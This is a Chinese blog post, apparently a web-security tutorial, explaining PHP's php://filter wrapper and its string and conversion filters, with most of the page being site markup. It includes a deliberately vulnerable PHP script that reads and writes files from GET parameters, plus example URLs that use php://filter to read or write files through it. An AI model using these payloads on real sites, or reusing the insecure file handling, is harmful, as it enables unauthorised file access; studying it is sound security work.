<!DOCTYPE html>
<html>
  <!-- meta/link... -->
  



<head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8">
  <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport">
  <!-- Global site tag (gtag.js) - Google Analytics -->


  <title>探索php伪协议 | YY&#39;s Blog</title>

  <link rel="icon" type="image/jpeg" href="/medias/favicon.jpg">
  <link rel="stylesheet" href="https://at.alicdn.com/t/font_1911880_c1nvbyezg17.css">
  <link href="https://unpkg.com/@fortawesome/fontawesome-free/css/all.min.css" rel="stylesheet">
  <link href="/js/swiper/swiper@5.4.1.min.css" rel="stylesheet">
  
  
  
  
<link rel="stylesheet" href="/css/animate.min.css">

  
<link rel="stylesheet" href="/css/style.css">

  
  
    
<link rel="stylesheet" href="/js/fancybox/jquery.fancybox.min.css">

  
  
    
<link rel="stylesheet" href="/js/shareJs/share.min.css">

  
  <style>
        @media (max-width: 992px) {
            #waifu {
                display: none;
            }
        }
    </style>
    <script src="//cdn.bootcss.com/pace/1.0.2/pace.min.js"></script>
    <link href="//cdn.bootcss.com/pace/1.0.2/themes/pink/pace-theme-flash.css" rel="stylesheet">

    
        <script src="/js/valine/index.js"></script>
    

    <!-- import link -->
    
        
            
        
            
        
    
    <!-- import script -->
    
        
            <script>function blog_time() {window.setTimeout(blog_time,1000);const now = new Date();const copyrightTime = now.getFullYear();			display_copyright_time.innerHTML = " "+copyrightTime;}blog_time();</script>
        
            <script>function blog_live_time() {window.setTimeout(blog_live_time, 1000);const start = new Date('2020-10-01T00:00:00');const now = new Date();const timeDiff = (now.getTime() - start.getTime());					  const msPerMinute = 60 * 1000;					  const msPerHour = 60 * msPerMinute;					  const msPerDay = 24 * msPerHour;					  const passDay = Math.floor(timeDiff / msPerDay);					  const passHour = Math.floor((timeDiff % msPerDay) / 60 / 60 / 1000);					  const passMinute = Math.floor((timeDiff % msPerHour) / 60 / 1000);const passSecond = Math.floor((timeDiff % msPerMinute) / 1000);display_live_time.innerHTML = " " + passDay + " 天 " + passHour + " 小时 " + passMinute + " 分 " + passSecond + " 秒";}blog_live_time();</script>
        
    

    <!-- import daovoice -->
    

        <script>(function (i, s, o, g, r, a, m) {
            i['DaoVoiceObject'] = r;
            i[r] = i[r] ||
              function () {
                (i[r].q = i[r].q || []).push(arguments);
              };
            i[r].l = 1 * new Date();
            a = s.createElement(o);
            m = s.getElementsByTagName(o)[0];
            a.async = 1;
            a.src = g;
            a.charset = 'utf-8';
            m.parentNode.insertBefore(a, m);
          })(window, document, 'script', ('https:' === document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/5a027b89.js", 'daovoice');
          daovoice('init', {
            app_id: "5a027b89",
          });
          daovoice('update');
        </script>
      
    
<meta name="generator" content="Hexo 5.4.0"></head>

  
  <!-- 依赖于jquery和vue -->
  
    
<script src="https://unpkg.com/jquery@3.5.1/dist/jquery.min.js"></script>

  

  
    
<script src="https://unpkg.com/vue@2.6.11/dist/vue.min.js"></script>

  
  
  <body>
    <!-- 预加载动画 -->
    <!-- 页面预加载动画 -->

<div id='loader'>
  <link rel="stylesheet" href="/js/loaded/index.css" >
  <div class="loading-left-bg"></div>
  <div class="loading-right-bg"></div>
  <div class="spinner-box">
    <div class="configure-border-1">
      <div class="configure-core"></div>
    </div>
    <div class="configure-border-2">
      <div class="configure-core"></div>
    </div>
    <div class="loading-word">加载中...</div>
  </div>
</div>

<script>
  var endLoading = function () {
    document.body.style.overflow = 'auto';
    document.getElementById('loader').classList.add("loading");
  }
  window.addEventListener('DOMContentLoaded',endLoading);
  
</script>

    
    <!-- 判断是否为暗黑风格 -->
    <!-- 判断是否为黑夜模式 -->
<script>
  let isDark = JSON.parse(localStorage.getItem('dark')) || JSON.parse('false');

  if (isDark) {
    $(document.body).addClass('darkModel');
  }
</script>

    <!-- 需要在上面加载的js -->
    <script>
  function loadScript(src, cb) {
    return new Promise(resolve => {
      setTimeout(function () {
        var HEAD = document.getElementsByTagName("head")[0] || document.documentElement;
        var script = document.createElement("script");
        script.setAttribute("type", "text/javascript");
        if (cb) {
          if (JSON.stringify(cb)) {
            for (let p in cb) {
              if (p == "onload") {
                script[p] = () => {
                  cb[p]()
                  resolve()
                }
              } else {
                script[p] = cb[p]
                script.onload = resolve
              }
            }
          } else {
            script.onload = () => {
              cb()
              resolve()
            };
          }
        } else {
          script.onload = resolve
        }
        script.setAttribute("src", src);
        HEAD.appendChild(script);
      });
    });
  }

  //https://github.com/filamentgroup/loadCSS
  var loadCSS = function (href, before, media, attributes) {
    return new Promise(resolve => {
      setTimeout(function () {
        var link = document.createElement('link');
        link.rel = "stylesheet";
        link.href = src;
        link.onload = resolve;
        document.getElementsByTagName("head")[0].appendChild(link);
      });
    });
  };

</script> 

<!-- 轮播图所需要的js -->
<script src="/js/swiper/swiper.min.js"></script>
<script src="/js/swiper/vue-awesome-swiper.js"></script>
<script src="/js/swiper/swiper.animate1.0.3.min.js"></script>

<script type="text/javascript">
  Vue.use(window.VueAwesomeSwiper)
</script>


  <script src="/js/vue-typed-js/index.js"></script>


<!-- 首页的公告滚动插件的js需要重新加载 -->
<script src="/js/vue-seamless-scroll/index.js"></script>

<!-- 打字机效果js -->
<script src="https://unpkg.com/typed.js@2.0.11"></script>


    <div id="safearea">
      <main class="main" id="pjax-container">
        <!-- 头部导航 -->
        
<header class="header   " 
  id="navHeader"
  style="position: fixed;
  left: 0; top: 0; z-index: 10;width: 100%;"
>
  <div class="header-content">
    <div class="bars">
      <div id="appDrawer" class="sidebar-image">
  <div class="drawer-box-icon">
    <i class="fas fa-bars" aria-hidden="true" @click="showDialogDrawer"></i>
  </div>
  
  <transition name="fade">
    <div class="drawer-box_mask" v-cloak style="display: none;" v-show="visible" @click.self="cancelDialogDrawer">
    </div>
  </transition>
  <div class="drawer-box" :class="{'active': visible}">
    <div class="drawer-box-head bg-color">
      <img class="drawer-box-head_logo lazyload placeholder" src="/medias/logo.png" class="lazyload placeholder" data-srcset="/medias/logo.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="logo">
      <h3 class="drawer-box-head_title">YY&#39;s Blog</h3>
      <h5 class="drawer-box-head_desc">三十年河东，三十年河西，莫欺少年穷！</h5>
    </div>
    
    <div class="drawer-box-content">
      <ul class="drawer-box-content_menu">
        
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="/" class="drawer-menu-item-link">
                  
                    <i class="fa fa-home" aria-hidden="true"></i>
                  
                  <span class="name">首页</span>
                </a>
              
            </li>
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="/archives" class="drawer-menu-item-link">
                  
                    <i class="fa fa-archive" aria-hidden="true"></i>
                  
                  <span class="name">归档</span>
                </a>
              
            </li>
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="/tags" class="drawer-menu-item-link">
                  
                    <i class="fa fa-tags" aria-hidden="true"></i>
                  
                  <span class="name">标签</span>
                </a>
              
            </li>
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="/categories" class="drawer-menu-item-link">
                  
                    <i class="fa fa-bookmark" aria-hidden="true"></i>
                  
                  <span class="name">分类</span>
                </a>
              
            </li>
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="/about" class="drawer-menu-item-link">
                  
                    <i class="fa fa-user" aria-hidden="true"></i>
                  
                  <span class="name">关于</span>
                </a>
              
            </li>
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="/comments" class="drawer-menu-item-link">
                  
                    <i class="fa fa-comments" aria-hidden="true"></i>
                  
                  <span class="name">留言</span>
                </a>
              
            </li>
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="/friends" class="drawer-menu-item-link">
                  
                    <i class="fa fa-book" aria-hidden="true"></i>
                  
                  <span class="name">友情链接</span>
                </a>
              
            </li>
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="/love" class="drawer-menu-item-link">
                  
                    <i class="fa fa-heart" aria-hidden="true"></i>
                  
                  <span class="name">Love</span>
                </a>
              
            </li>
          
            <li class="drawer-box-content_item" style="position: relative;">
              
                <a href="javascript:;" class="drawer-menu-item-link has-children" @click="openOrCloseMenu(8)">
                  <span>
                    
                      <i class="fa fa-link"></i>
                    
                    <span class="name">更多</span>
                  </span>
                  <i class="fas fa-chevron-left arrow " :class="{'icon-rotate': isOpen(8)}" aria-hidden="true"></i>
                </a>
                <ul class="drawer-sub-menu" v-if="isOpen(8)">
                  
                  <li>
                    <a href="/gallery">
                      
                      <i class="fa fa-music" style="margin-top: -20px;"></i>
                      
                      <span>图库</span>
                    </a>
                  </li>
                  
                  <li>
                    <a href="/me">
                      
                      <i class="fa fa-user" style="margin-top: -20px;"></i>
                      
                      <span>关于我</span>
                    </a>
                  </li>
                  
                  <li>
                    <a href="/resources">
                      
                      <i class="fa fa-film" style="margin-top: -20px;"></i>
                      
                      <span>资源</span>
                    </a>
                  </li>
                  
                  <li>
                    <a target="_blank" rel="noopener" href="http://baidu.com">
                      
                      <i class="fa fa-wifi" style="margin-top: -20px;"></i>
                      
                      <span>百度</span>
                    </a>
                  </li>
                  
                </ul>
              
            </li>
          
        
        
          <li class="drawer-box-content_item">
            <a target="_blank" rel="noopener" href="https://gitee.com/yangyang-linux">
              <i class="fas fa-github" aria-hidden="true"></i>
              <span>Github</span>
            </a>
          </li>
        
      </ul>
    </div>
  </div>
</div>

<script>
  var body = document.body || document.documentElement || window;
  var vm = new Vue({
    el: '#appDrawer',
    data: {
      visible: false,
      top: 0,
      openArr: [],
    },
    computed: {
    },
    mounted() {
    },
    methods: {
      isOpen(index) {
        if (this.openArr.includes(index)) {
          return true;
        } else {
          return false;
        }
      },
      openOrCloseMenu(curIndex) {
        const index = this.openArr.indexOf(curIndex);
        if (index !== -1) {
          this.openArr.splice(index, 1);
        } else {
          this.openArr.push(curIndex);
        }
      },
      showDialogDrawer() {
        this.visible = true;
        // 防止页面滚动，只能让弹框滚动
        this.top = $(document).scrollTop()
        body.style.cssText = 'width: 100%; height: 100%;overflow: hidden;';
      },
      cancelDialogDrawer() {
        this.visible = false;
        body.removeAttribute('style');
        $(document).scrollTop(this.top)
      }
    },
    created() {}
  })
</script>

    </div>
    <div class="blog-title" id="author-avatar">
      
        <div class="avatar">
          <img src="/medias/logo.png" class="lazyload placeholder" data-srcset="/medias/logo.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="logo">
        </div>
      
      <a href="/" class="logo">YY&#39;s Blog</a>
    </div>
    <nav class="navbar">
      <ul class="menu">
        
          
            <li class="menu-item" style="position: relative;">
              
                <a href="/" class="menu-item-link" title="首页">
                  
                    <i class="fa fa-home" aria-hidden="true"></i>
                  
                  <span class="name">首页</span>
                </a>
              
            </li>
          
            <li class="menu-item" style="position: relative;">
              
                <a href="/archives" class="menu-item-link" title="归档">
                  
                    <i class="fa fa-archive" aria-hidden="true"></i>
                  
                  <span class="name">归档</span>
                </a>
              
            </li>
          
            <li class="menu-item" style="position: relative;">
              
                <a href="/tags" class="menu-item-link" title="标签">
                  
                    <i class="fa fa-tags" aria-hidden="true"></i>
                  
                  <span class="name">标签</span>
                </a>
              
            </li>
          
            <li class="menu-item" style="position: relative;">
              
                <a href="/categories" class="menu-item-link" title="分类">
                  
                    <i class="fa fa-bookmark" aria-hidden="true"></i>
                  
                  <span class="name">分类</span>
                </a>
              
            </li>
          
            <li class="menu-item" style="position: relative;">
              
                <a href="/about" class="menu-item-link" title="关于">
                  
                    <i class="fa fa-user" aria-hidden="true"></i>
                  
                  <span class="name">关于</span>
                </a>
              
            </li>
          
            <li class="menu-item" style="position: relative;">
              
                <a href="/comments" class="menu-item-link" title="留言">
                  
                    <i class="fa fa-comments" aria-hidden="true"></i>
                  
                  <span class="name">留言</span>
                </a>
              
            </li>
          
            <li class="menu-item" style="position: relative;">
              
                <a href="/friends" class="menu-item-link" title="友情链接">
                  
                    <i class="fa fa-book" aria-hidden="true"></i>
                  
                  <span class="name">友情链接</span>
                </a>
              
            </li>
          
            <li class="menu-item" style="position: relative;">
              
                <a href="/love" class="menu-item-link" title="Love">
                  
                    <i class="fa fa-heart" aria-hidden="true"></i>
                  
                  <span class="name">Love</span>
                </a>
              
            </li>
          
            <li class="menu-item" style="position: relative;">
              
                <a href="javascript:;" class="menu-item-link" title="更多">
                  
                    <i class="fa fa-link"></i>
                  
                  <span class="name">更多</span>
                  <i class="fas fa-chevron-down arrow" aria-hidden="true"></i>
                </a>
                <ul class="sub-menu">
                  
                  <li>
                    <a href="/gallery">
                      
                      <i class="fa fa-music" style="margin-top: -20px;"></i>
                      
                      <span>图库</span>
                    </a>
                  </li>
                  
                  <li>
                    <a href="/me">
                      
                      <i class="fa fa-user" style="margin-top: -20px;"></i>
                      
                      <span>关于我</span>
                    </a>
                  </li>
                  
                  <li>
                    <a href="/resources">
                      
                      <i class="fa fa-film" style="margin-top: -20px;"></i>
                      
                      <span>资源</span>
                    </a>
                  </li>
                  
                  <li>
                    <a target="_blank" rel="noopener" href="http://baidu.com">
                      
                      <i class="fa fa-wifi" style="margin-top: -20px;"></i>
                      
                      <span>百度</span>
                    </a>
                  </li>
                  
                </ul>
              
            </li>
          
        
      </ul>
      
      
        <div id="appSearch">
  <div class="search"  @click="showDialog()"><i class="fas fa-search" aria-hidden="true"></i></div>
  <transition name="fade">
    <div class="message-box_wrapper" style="display: none;" v-cloak v-show="dialogVisible" @click.self="cancelDialogVisible()">
      <div class="message-box animated bounceInDown">
        <h2>
          <span>
            <i class="fas fa-search" aria-hidden="true"></i>
            <span class="title">本地搜索</span>
          </span>
          <i class="fas fa-times close" pointer style="float:right;" aria-hidden="true" @click.self="cancelDialogVisible()"></i>
        </h2>
        <form class="site-search-form">
          <input type="text"
            placeholder="请输入关键字"
            id="local-search-input" 
            @click="getSearchFile()"
            class="st-search-input"
            v-model="searchInput"
          />
        </form>
        <div class="result-wrapper">
          <div id="local-search-result" class="local-search-result-cls"></div>
        </div>
      </div>
    </div>
  </transition>
</div>
<script src="/js/local_search.js"></script>
<script>
  var body = document.body || document.documentElement || window;
  var vm = new Vue({
    el: '#appSearch',
    data: {
      dialogVisible: false,
      searchInput: '',
      top: 0,
    },
    computed: {
    },
    mounted() {
      window.addEventListener('pjax:complete', () => {
        this.cancelDialogVisible();
      })
    },
    methods: {
      showDialog() {
        this.dialogVisible = true;
        // 防止页面滚动，只能让弹框滚动
        this.top = $(document).scrollTop()
        body.style.cssText = 'overflow: hidden;';
      },
      getSearchFile() {
        if (!this.searchInput) {
          getSearchFile("/search.xml");
        }
      },
      cancelDialogVisible() {
        this.dialogVisible = false;
        body.removeAttribute('style');
        $(document).scrollTop(this.top)
      },
    },
    created() {}
  })
</script>
<!-- 解决刷新页面闪烁问题，可以在元素上添加display: none, 或者用vue.extend方法，详情：https://blog.csdn.net/qq_31393401/article/details/81017912 -->
<!-- 下面是搜索基本写法 -->
<!-- <script type="text/javascript" id="local.search.active">
  var inputArea = document.querySelector("#local-search-input");
  inputArea.onclick   = function(){ getSearchFile(); this.onclick = null }
  inputArea.onkeydown = function(){ if(event.keyCode == 13) return false }
</script> -->

      

    </nav>
  </div>
  
    <a target="_blank" rel="noopener" href="https://gitee.com/yangyang-linux" class="github-corner color-primary" aria-label="View source on GitHub"><svg width="60" height="60" viewBox="0 0 250 250" style="fill:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>
  
  
    <div id="he-plugin-simple"></div>
    <script>
      WIDGET = {
        CONFIG: {
          "modules": "012",
          "background": 5,
          "tmpColor": "4A4A4A",
          "tmpSize": 16,
          "cityColor": "4A4A4A",
          "citySize": 16,
          "aqiSize": 16,
          "weatherIconSize": 24,
          "alertIconSize": 18,
          "padding": "10px 10px 10px 10px",
          "shadow": "1",
          "language": "auto",
          "borderRadius": 5,
          "fixed": "false",
          "vertical": "middle",
          "horizontal": "center",
          "key": "2784dd3fcb1e4f0f9a9b579bf69641f2"
        }
      }
    </script>
    <script src="https://widget.qweather.net/simple/static/js/he-simple-common.js?v=2.0"></script> 
    
</header>
        <!-- 内容区域 -->
        
 <!-- prismjs 代码高亮 -->
 


<div class="bg-dark-floor" style="position: fixed;left: 0;top: 0;width: 100%;height: 100%;z-index: -1;"></div>


  <!-- 文章详情页顶部图片和标题 -->




<div class="post-detail-header" id="thumbnail_canvas" style="background-repeat: no-repeat; background-size: cover; 
  background-position: center center;position: relative;background-image:url('/medias/14.jpg')">
  <div class="post-detail-header-mask"></div>
  <canvas id="header_canvas"style="position:absolute;bottom:0;pointer-events:none;"></canvas>
  
  <div class="post-detail-header_info-box">
    <div class="title-box">
      <span class="title">
        探索php伪协议
      </span>
    </div>
    
    
      
        <span class="post-detail-header_date">
          <i class="fas fa-calendar"></i> 发表于：2021-03-21 |
        </span>
      

      

      
        <div class="post-detail-header_wordcount">
          <span class="totalcount">
            <i class="fas fa-file-text-o"></i> 字数统计: 8.3k |
          </span>
  
          <span class="min2read">
            <i class="fas fa-clock"></i> 阅读时长: 35分钟 |
          </span>
  
          
            <span class="reading">
              <i class="fas fa-eye"></i> 阅读量：<span id="busuanzi_value_page_pv"></span>
            </span>
          
        </div>
      
    
  </div>
  
  
    <script src="/js/bubble/bubble.js"></script>
  
</div>





<div class="row justify-position" 
  style="padding-top: 0px;">
  <div class="main-content">
    <article class="post post-detail">
      <div class="post-content">
        <h2 id="一、php-filter"><a href="#一、php-filter" class="headerlink" title="一、php://filter"></a>一、php://filter</h2><p>PHP 提供了一些杂项输入/输出（IO）流，允许访问 PHP 的输入输出流、标准输入输出和错误描述符， 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。 </p>
<ul>
<li>php:// — 访问各个输入/输出流（I/O streams）</li>
<li>php://filter 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。 这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。 </li>
</ul>
<h4 id="参数"><a href="#参数" class="headerlink" title="参数"></a>参数</h4><p><strong>php://filter可以作为一个中间流来处理其他流。</strong></p>
<p><img src="https://s1.ax1x.com/2020/09/05/wVjSmQ.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/09/05/wVjSmQ.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="wVjSmQ.png"></p>
<h4 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h4><p>测试：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    <span class="variable">$file1</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;file1&#x27;</span>];</span><br><span class="line">    <span class="variable">$file2</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;file2&#x27;</span>];</span><br><span class="line">    <span class="variable">$txt</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;txt&#x27;</span>];</span><br><span class="line">    <span class="keyword">echo</span> file_get_contents(<span class="variable">$file1</span>);</span><br><span class="line">    file_put_contents(<span class="variable">$file2</span>,<span class="variable">$txt</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<ul>
<li>file_get_contents — 将整个文件读入一个字符串</li>
<li>file_put_contents — 将一个字符串写入文件</li>
</ul>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"> file_put_contents ( <span class="keyword">string</span> <span class="variable">$filename</span> , <span class="keyword">mixed</span> <span class="variable">$data</span> [, <span class="keyword">int</span> <span class="variable">$flags</span> = <span class="number">0</span> [, resource <span class="variable">$context</span> ]] ) : <span class="keyword">int</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">filename</span><br><span class="line"></span><br><span class="line">    要被写入数据的文件名。</span><br><span class="line">data</span><br><span class="line"></span><br><span class="line">    要写入的数据。类型可以是 <span class="keyword">string</span>，<span class="keyword">array</span> 或者是 stream 资源（如上面所说的那样）。</span><br><span class="line"></span><br><span class="line">    如果 data 指定为 stream 资源，这里 stream 中所保存的缓存数据将被写入到指定文件中，这种用法就相似于使用 stream_copy_to_stream() 函数。</span><br><span class="line"></span><br><span class="line">    参数 data 可以是数组（但不能为多维数组），这就相当于 file_put_contents(<span class="variable">$filename</span>, join(<span class="string">&#x27;&#x27;</span>, <span class="variable">$array</span>))。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//www.php.net/file_put_contents</span></span><br></pre></td></tr></table></figure>

<p>那么这里可以读取文件也可以写入文件。</p>
<ul>
<li><strong>读取文件</strong></li>
</ul>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 明文读取</span></span><br><span class="line">index.php?file1=php:<span class="comment">//filter/resource=file.txt</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 编码读取</span></span><br><span class="line">index.php?file1=php:<span class="comment">//filter/read=convert.base64-encode/resource=file.txt</span></span><br></pre></td></tr></table></figure>

<ul>
<li><strong>写入文件</strong></li>
</ul>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 明文写入</span></span><br><span class="line">index.php?file2=php:<span class="comment">//filter/resource=test.txt&amp;txt=helloworld</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 编码写入</span></span><br><span class="line">index.php?file2=php:<span class="comment">//filter/write=convert.base64-encode/resource=test.txt&amp;txt=helloworld</span></span><br></pre></td></tr></table></figure>

<p><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/filters.php">过滤器</a></p>
<h2 id="二、字符串过滤器"><a href="#二、字符串过滤器" class="headerlink" title="二、字符串过滤器"></a>二、字符串过滤器</h2><p>每个过滤器都正如其名字暗示的那样工作并与内置的 PHP 字符串函数的行为相对应。对于指定过滤器的更多信息，请参考该函数的手册页。</p>
<h4 id="string-rot13"><a href="#string-rot13" class="headerlink" title="string.rot13"></a>string.rot13</h4><p>（自 PHP 4.3.0 起）使用此过滤器等同于用 <a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.str-rot13.php">str_rot13()</a>函数处理所有的流数据。</p>
<ul>
<li>str_rot13 — 对字符串执行 ROT13 转换. <strong>ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母，同时忽略非字母表中的字符。编码和解码都使用相同的函数，传递一个编码过的字符串作为参数，将得到原始字符串。</strong></li>
</ul>
<h4 id="string-toupper"><a href="#string-toupper" class="headerlink" title="string.toupper"></a>string.toupper</h4><p>使用此过滤器等同于用 strtoupper()函数处理所有的流数据。</p>
<p>（自 PHP 5.0.0 起）使用此过滤器等同于用 <a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.strtolower.php">strtolower()</a>函数处理所有的流数据。</p>
<ul>
<li>strtoupper — 将字符串转化为大写</li>
</ul>
<h4 id="string-tolower"><a href="#string-tolower" class="headerlink" title="string.tolower"></a>string.tolower</h4><p>（自 PHP 5.0.0 起）使用此过滤器等同于用 <a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.strtolower.php">strtolower()</a>函数处理所有的流数据。</p>
<ul>
<li>strtolower — 将字符串转化为小写</li>
</ul>
<h4 id="string-strip-tags"><a href="#string-strip-tags" class="headerlink" title="string.strip_tags"></a>string.strip_tags</h4><p>使用此过滤器等同于用 <a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.strip-tags.php">strip_tags()</a>函数处理所有的流数据。可以用两种格式接收参数：一种是和 strip_tags()函数第二个参数相似的一个包含有标记列表的字符串，一种是一个包含有标记名的数组。</p>
<ul>
<li>strip_tags — 从字符串中去除 HTML 和 PHP 标记.该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。 </li>
</ul>
<p><img src="https://s1.ax1x.com/2020/09/29/0ZWxuF.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/09/29/0ZWxuF.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0ZWxuF.png"></p>
<h2 id="三、转换过滤器"><a href="#三、转换过滤器" class="headerlink" title="三、转换过滤器"></a>三、转换过滤器</h2><p>如同 string.* 过滤器，convert.* 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。对于指定过滤器的更多信息，请参考该函数的手册页。</p>
<p><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/filters.convert.php">https://www.php.net/manual/zh/filters.convert.php</a></p>
<h4 id="convert-base64"><a href="#convert-base64" class="headerlink" title="convert.base64"></a>convert.base64</h4><p><code>convert.base64-encode</code>和 <code>convert.base64-decode</code>使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。 convert.base64-encode支持以一个关联数组给出的参数。如果给出了 line-length，base64 输出将被用 line-length个字符为 长度而截成块。如果给出了 line-break-chars，每块将被用给出的字符隔开。这些参数的效果和用 base64_encode()再加上 chunk_split()相同。</p>
<h4 id="convert-quoted"><a href="#convert-quoted" class="headerlink" title="convert.quoted"></a>convert.quoted</h4><p><code>convert.quoted-printable-encode</code>和<code> convert.quoted-printable-decode</code>使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。 convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和 convert.base64-encode一样的附加参数外， convert.quoted-printable-encode还支持布尔参数 binary和 force-encode-first。 convert.base64-decode只支持 line-break-chars参数作为从编码载荷中剥离的类型提示。</p>
<h4 id="convert-iconv"><a href="#convert-iconv" class="headerlink" title="convert.iconv.*"></a>convert.iconv.*</h4><p>这个过滤器需要 php 支持 <code>iconv</code> ，而 iconv 是默认编译的。使用<code>convert.iconv.*</code>过滤器等同于用<code>iconv()</code>函数处理所有的流数据。</p>
<ul>
<li>iconv — 字符串按要求的字符编码来转换  <a target="_blank" rel="noopener" href="https://www.php.net/manual/en/filters.convert.php">https://www.php.net/manual/en/filters.convert.php</a></li>
</ul>
<p>convery.iconv.*的使用有两种方法:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">convert.iconv.&lt;input-encoding&gt;.&lt;output-encoding&gt; </span><br><span class="line"><span class="keyword">or</span> </span><br><span class="line">convert.iconv.&lt;input-encoding&gt;/&lt;output-encoding&gt;</span><br></pre></td></tr></table></figure>

<p><img src="https://s1.ax1x.com/2020/09/29/0Zf7rD.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/09/29/0Zf7rD.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0Zf7rD.png"></p>
<p>支持的字符编码有一下几种（详细参考<a target="_blank" rel="noopener" href="https://www.php.net/manual/en/mbstring.supported-encodings.php">官方手册</a>）</p>
